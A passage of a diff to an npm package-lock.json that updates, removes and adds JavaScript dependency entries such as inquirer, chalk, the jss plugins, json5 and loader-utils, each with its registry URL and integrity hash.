"sha512-ASB07uLtnDs1o6EHjKpX34BKYDSqnFerfTOJL2HvMqF70LnxpjkzDB8J44oT9pu4AMPkQwf8jl6szgvNd2tRIg==", "dev": true, "requires": { "pkg-dir": "^4.2.0", @@ -6587,12 +21892,6 @@ "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", "dev": true }, - "indexes-of": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/indexes-of/-/indexes-of-1.0.1.tgz", - "integrity": "sha1-8w9xbI4r00bHtn0985FVZqfAVgc=", - "dev": true - }, "inflight": { "version": "1.0.6", "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", @@ -6616,46 +21915,39 @@ "dev": true }, "inquirer": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-7.1.0.tgz", - "integrity": "sha512-5fJMWEmikSYu0nv/flMc475MhGbB7TSPd/2IpFV4I4rMklboCH2rQjYY5kKiYGHqUF9gvaambupcJFFG9dvReg==", + "version": "7.3.3", + "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-7.3.3.tgz", + "integrity": "sha512-JG3eIAj5V9CwcGvuOmoo6LB9kbAYT8HXffUl6memuszlwDC/qvFAJw49XJ5NROSFNPxp3iQg1GqkFhaY/CR0IA==", "dev": true, "requires": { "ansi-escapes": "^4.2.1", - "chalk": "^3.0.0", + "chalk": "^4.1.0", "cli-cursor": "^3.1.0", - "cli-width": "^2.0.0", + "cli-width": "^3.0.0", "external-editor": "^3.0.3", "figures": "^3.0.0", - "lodash": "^4.17.15", + "lodash": "^4.17.19", "mute-stream": "0.0.8", "run-async": "^2.4.0", - "rxjs": "^6.5.3", + "rxjs": "^6.6.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0", "through": "^2.3.6" }, "dependencies": { - "ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "dev": true - }, "ansi-styles": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz", - "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==", + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", "dev": true, "requires": { - "@types/color-name": "^1.1.1", "color-convert": "^2.0.1" } }, "chalk": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", - "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", "dev": true, "requires": { "ansi-styles": "^4.1.0", @@ -6677,48 +21969,25 @@ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", "dev": true }, - "emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true - }, "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", "dev": true }, - "is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "dev": true - }, - "string-width": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.0.tgz", - "integrity": "sha512-zUz5JD+tgqtuDjMhwIg5uFVV3dtqZ9yQJlZVfq4I01/K5Paj5UHj7VyrQOJvzawSVlKpObApbfD0Ed6yJc+1eg==", - "dev": true, - "requires": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.0" - } - }, "strip-ansi": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", - "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", "dev": true, "requires": { - "ansi-regex": "^5.0.0" + "ansi-regex": "^5.0.1" } }, "supports-color": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz", - "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==", + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", "dev": true, "requires": { "has-flag": "^4.0.0" @@ -6726,26 +21995,6 @@ } } }, - "internal-ip": { - "version": "6.2.0", - "resolved": "https://registry.npmjs.org/internal-ip/-/internal-ip-6.2.0.tgz", - "integrity": "sha512-D8WGsR6yDt8uq7vDMu7mjcR+yRMm3dW8yufyChmszWRjcSHuxLBkR3GdS2HZAjodsaGuCvXeEJpueisXJULghg==", - "dev": true, - "requires": { - "default-gateway": "^6.0.0", - "ipaddr.js": "^1.9.1", - "is-ip": "^3.1.0", - "p-event": "^4.2.0" - }, - "dependencies": { - "ipaddr.js": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", - "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", - "dev": true - } - } - }, "internal-slot": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.3.tgz", @@ -6777,12 +22026,6 @@ "integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=", "dev": true }, - "ip-regex": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ip-regex/-/ip-regex-4.3.0.tgz", - "integrity": "sha512-B9ZWJxHHOHUhUjCPrMpLD4xEq35bUTClHM1S6CBU5ixQnkZmwipwgc96vAd7AAGM9TGHvJR+Uss+/Ak6UphK+Q==", - "dev": true - }, "ipaddr.js": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.0.1.tgz", @@ -6861,10 +22104,9 @@ "dev": true }, "is-core-module": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.7.0.tgz", - "integrity": "sha512-ByY+tjCciCr+9nLryBYcSD50EOGWt95c7tIsKTG1J2ixKKXPvF7Ej3AVd+UfDydAJom3biBGDBALaO79ktwgEQ==", - "dev": true, + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.8.1.tgz", + "integrity": "sha512-SdNCUs284hr40hFTFP6l0IfZ/RSrMXF3qgoRHd3/79unUTvrFO/JoXwkGm+5J/Oe3E/b5GsnG330uUNgRpu1PA==", "requires": { "has": "^1.0.3" } @@ -6903,9 +22145,9 @@ "dev": true }, "is-glob": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", - "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", "dev": true, "requires": { "is-extglob": "^2.1.1" @@ -6922,19 +22164,10 @@ "resolved": "https://registry.npmjs.org/is-in-browser/-/is-in-browser-1.1.3.tgz", "integrity": "sha1-Vv9NtoOgeMYILrldrX3GLh0E+DU=" }, - "is-ip": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/is-ip/-/is-ip-3.1.0.tgz", - "integrity": "sha512-35vd5necO7IitFPjd/YBeqwWnyDWbuLH9ZXQdMfDA8TEo7pv5X8yfrvVO3xbJbLUlERCMvf6X0hTUamQxCYJ9Q==", - "dev": true, - "requires": { - "ip-regex": "^4.0.0" - } - }, "is-negative-zero": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.1.tgz", - "integrity": "sha512-2z6JzQvZRa9A2Y7xC6dQQm4FSTSTNWjKIYYTt4246eMTJmIo0Q+ZyOsU66X8lxK1AbB92dFeglPLrhwpeRKO6w==", + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.2.tgz", + "integrity": "sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA==", "dev": true }, "is-number": { @@ -6944,9 +22177,9 @@ "dev": true }, "is-number-object": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.6.tgz", - "integrity": "sha512-bEVOqiRcvo3zO1+G2lVMy+gkkEm9Yh7cDMRusKKu5ZJKPUYSJwICTKZrNKHA2EbSP0Tu0+6B/emsYNHZyn6K8g==", + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.7.tgz", + "integrity": "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==", "dev": true, "requires": { "has-tostringtag": "^1.0.0" @@ -6965,9 +22198,9 @@ "dev": true }, "is-plain-obj": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz", - "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz", + "integrity": "sha1-caUMhCnfync8kqOQpKA7OfzVHT4=", "dev": true }, "is-plain-object": { @@ -6996,10 +22229,13 @@ "dev": true }, "is-shared-array-buffer": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.1.tgz", - "integrity": "sha512-IU0NmyknYZN0rChcKhRO1X8LYz5Isj/Fsqh8NJOSf+N/hCOTwy29F32Ik7a+QszE63IdvmwdTPDd6cZ5pg4cwA==", - "dev": true + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.2.tgz", + "integrity": "sha512-sqN2UDu1/0y6uvXyStCOzyhAjCSlHceFoMKJW8W9EU9cvic/QdsZ0kEU93HEy3IUEFZIiH/3w+AH/UQbPHNdhA==", + "dev": true, + "requires": { + "call-bind": "^1.0.2" + } }, "is-stream": { "version": "1.1.0", @@ -7037,12 +22273,12 @@ "dev": true }, "is-weakref": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.1.tgz", - "integrity": "sha512-b2jKc2pQZjaeFYWEf7ScFj+Be1I+PXmlu572Q8coTXZ+LD/QQZ7ShPMst8h16riVgyXTQwUsFEl74mDvc/3MHQ==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.2.tgz", + "integrity": "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==", "dev": true, "requires": { - "call-bind": "^1.0.0" + "call-bind": "^1.0.2" } }, "is-wsl": { @@ -7055,10 +22291,9 @@ } }, "isarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", - "dev": true + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=" }, "isexe": { "version": "2.0.0", @@ -7151,10 +22386,9 @@ "dev": true }, "jest-worker": { - "version": "27.2.4", - "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.2.4.tgz", - "integrity": "sha512-Zq9A2Pw59KkVjBBKD1i3iE2e22oSjXhUKKuAK1HGX8flGwkm6NMozyEYzKd41hXc64dbd/0eWFeEEuxqXyhM+g==", - "dev": true, + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz", + "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==", "requires": { "@types/node": "*", "merge-stream": "^2.0.0", @@ -7164,29 +22398,33 @@ "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" }, "supports-color": { "version": "8.1.1", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", - "dev": true, "requires": { "has-flag": "^4.0.0" } } } }, + "jquery": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/jquery/-/jquery-3.6.0.tgz", + "integrity": "sha512-JVzAR/AjBvVt2BmYhxRCSYysDsPcssdmTFnzyLEts9qNwmjmu4JTAMYubEfwVOSwpQ1I1sKKFcxhZCI2buerfw==", + "peer": true + }, "js-tokens": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" }, "js-yaml": { - "version": "3.13.1", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz", - "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==", + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", "dev": true, "requires": { "argparse": "^1.0.7", @@ -7202,8 +22440,7 @@ "json-parse-better-errors": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", - "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==", - "dev": true + "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==" }, "json-parse-even-better-errors": { "version": "2.3.1", @@ -7222,12 +22459,10 @@ "dev": true }, "json5": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", - "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", - "requires": { - "minimist": "^1.2.0" - } + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.1.tgz", + "integrity": "sha512-1hqLFMSrGHRHxav9q9gNjJ5EXznIxGVO09xQRrwplcS8qs28pZ8s8hupZAmqDwZUmVZ2Qb2jnyPOWcDH8m8dlA==", + "dev": true }, "jsonfile": { "version": "4.0.0", @@ -7239,9 +22474,9 @@ } }, "jss": { - "version": "10.8.0", - "resolved": "https://registry.npmjs.org/jss/-/jss-10.8.0.tgz", - "integrity": "sha512-6fAMLJrVQ8epM5ghghxWqCwRR0ZamP2cKbOAtzPudcCMSNdAqtvmzQvljUZYR8OXJIeb/IpZeOXA1sDXms4R1w==", + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss/-/jss-10.9.0.tgz", + "integrity": "sha512-YpzpreB6kUunQBbrlArlsMpXYyndt9JATbt95tajx0t4MTJJcCJdd4hdNpHmOIDiUJrF/oX5wtVFrS3uofWfGw==", "requires": { "@babel/runtime": "^7.3.1", "csstype": "^3.0.2", @@ -7250,86 +22485,86 @@ }, "dependencies": { "csstype": { - "version": "3.0.9", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.9.tgz", - "integrity": "sha512-rpw6JPxK6Rfg1zLOYCSwle2GFOOsnjmDYDaBwEcwoOg4qlsIVCN789VkBZDJAGi4T07gI4YSutR43t9Zz4Lzuw==" + "version": "3.0.11", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.11.tgz", + "integrity": "sha512-sa6P2wJ+CAbgyy4KFssIb/JNMLxFvKF1pCYCSXS8ZMuqZnMsrxqI2E5sPyoTpxoPU/gVZMzr2zjOfg8GIZOMsw==" } } }, "jss-plugin-camel-case": { - "version": "10.8.0", - "resolved": "https://registry.npmjs.org/jss-plugin-camel-case/-/jss-plugin-camel-case-10.8.0.tgz", - "integrity": "sha512-yxlXrXwcCdGw+H4BC187dEu/RFyW8joMcWfj8Rk9UPgWTKu2Xh7Sib4iW3xXjHe/t5phOHF1rBsHleHykWix7g==", + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss-plugin-camel-case/-/jss-plugin-camel-case-10.9.0.tgz", + "integrity": "sha512-UH6uPpnDk413/r/2Olmw4+y54yEF2lRIV8XIZyuYpgPYTITLlPOsq6XB9qeqv+75SQSg3KLocq5jUBXW8qWWww==", "requires": { "@babel/runtime": "^7.3.1", "hyphenate-style-name": "^1.0.3", - "jss": "10.8.0" + "jss": "10.9.0" } }, "jss-plugin-default-unit": { - "version": "10.8.0", - "resolved": "https://registry.npmjs.org/jss-plugin-default-unit/-/jss-plugin-default-unit-10.8.0.tgz", - "integrity": "sha512-9XJV546cY9zV9OvIE/v/dOaxSi4062VfYQQfwbplRExcsU2a79Yn+qDz/4ciw6P4LV1Naq90U+OffAGRHfNq/Q==", + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss-plugin-default-unit/-/jss-plugin-default-unit-10.9.0.tgz", + "integrity": "sha512-7Ju4Q9wJ/MZPsxfu4T84mzdn7pLHWeqoGd/D8O3eDNNJ93Xc8PxnLmV8s8ZPNRYkLdxZqKtm1nPQ0BM4JRlq2w==", "requires": { "@babel/runtime": "^7.3.1", - "jss": "10.8.0" + "jss": "10.9.0" } }, "jss-plugin-global": { - "version": "10.8.0", - "resolved": "https://registry.npmjs.org/jss-plugin-global/-/jss-plugin-global-10.8.0.tgz", - "integrity": "sha512-H/8h/bHd4e7P0MpZ9zaUG8NQSB2ie9rWo/vcCP6bHVerbKLGzj+dsY22IY3+/FNRS8zDmUyqdZx3rD8k4nmH4w==", + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss-plugin-global/-/jss-plugin-global-10.9.0.tgz", + "integrity": "sha512-4G8PHNJ0x6nwAFsEzcuVDiBlyMsj2y3VjmFAx/uHk/R/gzJV+yRHICjT4MKGGu1cJq2hfowFWCyrr/Gg37FbgQ==", "requires": { "@babel/runtime": "^7.3.1", - "jss": "10.8.0" + "jss": "10.9.0" } }, "jss-plugin-nested": { - "version": "10.8.0", - "resolved": "https://registry.npmjs.org/jss-plugin-nested/-/jss-plugin-nested-10.8.0.tgz", - "integrity": "sha512-MhmINZkSxyFILcFBuDoZmP1+wj9fik/b9SsjoaggkGjdvMQCES21mj4K5ZnRGVm448gIXyi9j/eZjtDzhaHUYQ==", + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss-plugin-nested/-/jss-plugin-nested-10.9.0.tgz", + "integrity": "sha512-2UJnDrfCZpMYcpPYR16oZB7VAC6b/1QLsRiAutOt7wJaaqwCBvNsosLEu/fUyKNQNGdvg2PPJFDO5AX7dwxtoA==", "requires": { "@babel/runtime": "^7.3.1", - "jss": "10.8.0", + "jss": "10.9.0", "tiny-warning": "^1.0.2" } }, "jss-plugin-props-sort": { - "version": "10.8.0", - "resolved": "https://registry.npmjs.org/jss-plugin-props-sort/-/jss-plugin-props-sort-10.8.0.tgz", - "integrity": "sha512-VY+Wt5WX5GMsXDmd+Ts8+O16fpiCM81svbox++U3LDbJSM/g9FoMx3HPhwUiDfmgHL9jWdqEuvSl/JAk+mh6mQ==", + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss-plugin-props-sort/-/jss-plugin-props-sort-10.9.0.tgz", + "integrity": "sha512-7A76HI8bzwqrsMOJTWKx/uD5v+U8piLnp5bvru7g/3ZEQOu1+PjHvv7bFdNO3DwNPC9oM0a//KwIJsIcDCjDzw==", "requires": { "@babel/runtime": "^7.3.1", - "jss": "10.8.0" + "jss": "10.9.0" } }, "jss-plugin-rule-value-function": { - "version": "10.8.0", - "resolved": "https://registry.npmjs.org/jss-plugin-rule-value-function/-/jss-plugin-rule-value-function-10.8.0.tgz", - "integrity": "sha512-R8N8Ma6Oye1F9HroiUuHhVjpPsVq97uAh+rMI6XwKLqirIu2KFb5x33hPj+vNBMxSHc9jakhf5wG0BbQ7fSDOg==", + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss-plugin-rule-value-function/-/jss-plugin-rule-value-function-10.9.0.tgz", + "integrity": "sha512-IHJv6YrEf8pRzkY207cPmdbBstBaE+z8pazhPShfz0tZSDtRdQua5jjg6NMz3IbTasVx9FdnmptxPqSWL5tyJg==", "requires": { "@babel/runtime": "^7.3.1", - "jss": "10.8.0", + "jss": "10.9.0", "tiny-warning": "^1.0.2" } }, "jss-plugin-vendor-prefixer": { - "version": "10.8.0", - "resolved": "https://registry.npmjs.org/jss-plugin-vendor-prefixer/-/jss-plugin-vendor-prefixer-10.8.0.tgz", - "integrity": "sha512-G1zD0J8dFwKZQ+GaZaay7A/Tg7lhDw0iEkJ/iFFA5UPuvZFpMprCMQttXcTBhLlhhWnyZ8YPn4yqp+amrhQekw==", + "version": "10.9.0", + "resolved": "https://registry.npmjs.org/jss-plugin-vendor-prefixer/-/jss-plugin-vendor-prefixer-10.9.0.tgz", + "integrity": "sha512-MbvsaXP7iiVdYVSEoi+blrW+AYnTDvHTW6I6zqi7JcwXdc6I9Kbm234nEblayhF38EftoenbM+5218pidmC5gA==", "requires": { "@babel/runtime": "^7.3.1", "css-vendor": "^2.0.8", - "jss": "10.8.0" + "jss": "10.9.0" } }, "jsx-ast-utils": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.2.1.tgz", - "integrity": "sha512-uP5vu8xfy2F9A6LGC22KO7e2/vGTS1MhP+18f++ZNlf0Ohaxbc9nIEwHAsejlJKyzfZzU5UIhe5ItYkitcZnZA==", + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.2.2.tgz", + "integrity": "sha512-HDAyJ4MNQBboGpUnHAVUNJs6X0lh058s6FuixsFGP7MgJYpD6Vasd6nzSG5iIfXu1zAYlHJ/zsOKNlrenTUBnw==", "dev": true, "requires": { - "array-includes": "^3.1.3", + "array-includes": "^3.1.4", "object.assign": "^4.1.2" } }, @@ -7338,12 +22573,24 @@ "resolved": "https://registry.npmjs.org/jwt-decode/-/jwt-decode-2.2.0.tgz", "integrity": "sha1-fYa9VmefWM5qhHBKZX3TkruoGnk=" }, + "keycharm": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/keycharm/-/keycharm-0.4.0.tgz", + "integrity": "sha512-TyQTtsabOVv3MeOpR92sIKk/br9wxS+zGj4BG7CR8YbK4jM3tyIBaF0zhzeBUMx36/Q/iQLOKKOT+3jOQtemRQ==", + "peer": true + }, "kind-of": { "version": "6.0.3", "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", "dev": true }, + "klona": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/klona/-/klona-2.0.5.tgz", + "integrity": "sha512-pJiBpiXMbt7dkzXe8Ghj/u4FfXOOa98fPW+bihOJ4SjnoijweJrNThJfd3ifXpXhREjpoF2mZVH1GfS9LV3kHQ==", + "dev": true + }, "known-css-properties": { "version": "0.21.0", "resolved": "https://registry.npmjs.org/known-css-properties/-/known-css-properties-0.21.0.tgz", @@ -7361,24 +22608,24 @@ } }, "lines-and-columns": { - "version": "1.1.6", - "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.1.6.tgz", - "integrity": "sha1-HADHQ7QzzQpOgHWPe2SldEDZ/wA=" + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==" }, "loader-runner": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.2.0.tgz", - "integrity": "sha512-92+huvxMvYlMzMt0iIOukcwYBFpkYJdpl2xsZ7LrlayO7E8SOv+JJUEK17B/dJIHAOLMfh2dZZ/Y18WgmGtYNw==", - "dev": true + "integrity": "sha512-92+huvxMvYlMzMt0iIOukcwYBFpkYJdpl2xsZ7LrlayO7E8SOv+JJUEK17B/dJIHAOLMfh2dZZ/Y18WgmGtYNw==" }, "loader-utils": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz", - "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==", + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.2.tgz", + "integrity": "sha512-TM57VeHptv569d/GKh6TAYdzKblwDNiumOdkFnejjD0XwTH87K90w3O7AiJRqdQoXygvi1VQTJTLGhJl7WqA7A==", + "dev": true, "requires": { "big.js": "^5.2.2", "emojis-list": "^3.0.0", - "json5": "^1.0.1" + "json5": "^2.1.2" } }, "locate-path": { @@ -7569,6 +22816,14 @@ "requires": { "pify": "^4.0.1", "semver": "^5.6.0" + }, + "dependencies": { + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "dev": true + } } }, "map-obj": { @@ -7578,9 +22833,9 @@ "dev": true }, "marked": { - "version": "4.0.10", - 